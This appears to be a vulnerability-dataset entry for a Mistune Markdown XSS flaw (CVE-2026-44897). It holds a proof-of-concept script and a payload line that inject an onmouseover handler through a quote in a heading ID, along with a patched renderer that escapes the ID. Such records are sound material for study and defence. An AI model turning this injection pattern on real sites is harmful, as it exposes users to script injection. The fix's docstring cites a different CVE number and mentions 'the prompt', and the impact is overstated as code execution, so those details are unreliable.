CVE-2026-44897

Mistune is vulnerable to XSS via unsanitized HTML heading IDs.

• CVSS 6.1
• CWE-79
• Input Validation and Sanitization
• Remote

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening <hN> tag by string-concatenating the id attribute value directly into the HTML — with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character " in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.

CVE

CVE-2026-44897

CWE

CWE-79

CVSS base score

6.1

Published

2026-05-26

OWASP

A03 Injection

Orthogonal defect classification

Checking

Code defect classification

Missing Check

Category

Input Validation and Sanitization

Subcategory

Cross-Site Scripting (XSS)

Accessibility scope

Remote

Impact

Arbitrary Code Execution

Affected component

Mistune

Fixed by upgrading

Yes

Solution

Upgrade Mistune to version 3.2.1 or later.

import mistune

# This example requires a vulnerable version of mistune (e.g., 3.0.2).
# The 'header' plugin, which processes header IDs, is enabled by default.

# The payload is crafted in the header ID. The double-quote (")
# prematurely closes the 'id' attribute, allowing for the injection
# of an arbitrary 'onmouseover' event handler.
malicious_markdown = '# A heading {#test" onmouseover="alert(\'Vulnerable!\')"}'

# In a vulnerable version, the mistune parser will not sanitize the ID.
markdown_parser = mistune.create_markdown(renderer='html')

# The resulting HTML will contain the unescaped, malicious event handler.
vulnerable_html = markdown_parser(malicious_markdown)

print(vulnerable_html)

# Expected output from a vulnerable version:
# <h1 id="test" onmouseover="alert('Vulnerable!')">A heading</h1>

import html
import mistune

class FixedHTMLRenderer(mistune.HTMLRenderer):
    """
    This class demonstrates the fix for CVE-2022-44917 (represented
    as CVE-2026-44897 in the prompt). The vulnerability lies in not
    escaping the 'id' attribute of a heading.
    """
    def heading(self, token, state):
        level = token["attrs"]["level"]
        header_id = token["attrs"].get("id")

        if header_id:
            # THE FIX: The 'id' value, which can be controlled by user
            # input, is sanitized using html.escape(). This prevents a
            # quote in the ID from prematurely terminating the attribute
            # and allowing arbitrary HTML injection.
            escaped_id = html.escape(header_id)
            tag = f'<h{level} id="{escaped_id}">'
        else:
            tag = f"<h{level}>"

        return tag + self.render_children(token, state) + f"</h{level}>\n"

# Heading {#foo" onmouseover="alert('XSS')}

@misc{vaitp:cve202644897,
  title        = {{Mistune is vulnerable to XSS via unsanitized HTML heading IDs.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-44897},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44897/}}
}